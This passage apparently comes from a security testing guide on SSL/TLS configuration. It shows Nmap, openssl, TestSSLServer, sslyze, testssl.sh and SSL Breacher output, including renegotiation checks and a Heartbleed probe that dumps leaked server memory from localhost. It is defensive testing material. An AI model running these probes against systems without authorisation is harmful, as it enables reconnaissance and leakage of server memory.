| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak/Insecure Hashing Algorithm (MD2, MD4, MD5, SHA1)<br />
#SSLv2 support<br />
#Weak ciphers check (Low, Anon, Null, Export)<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Surf Jacking<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/login.php<br />
<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Path : /login.php<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
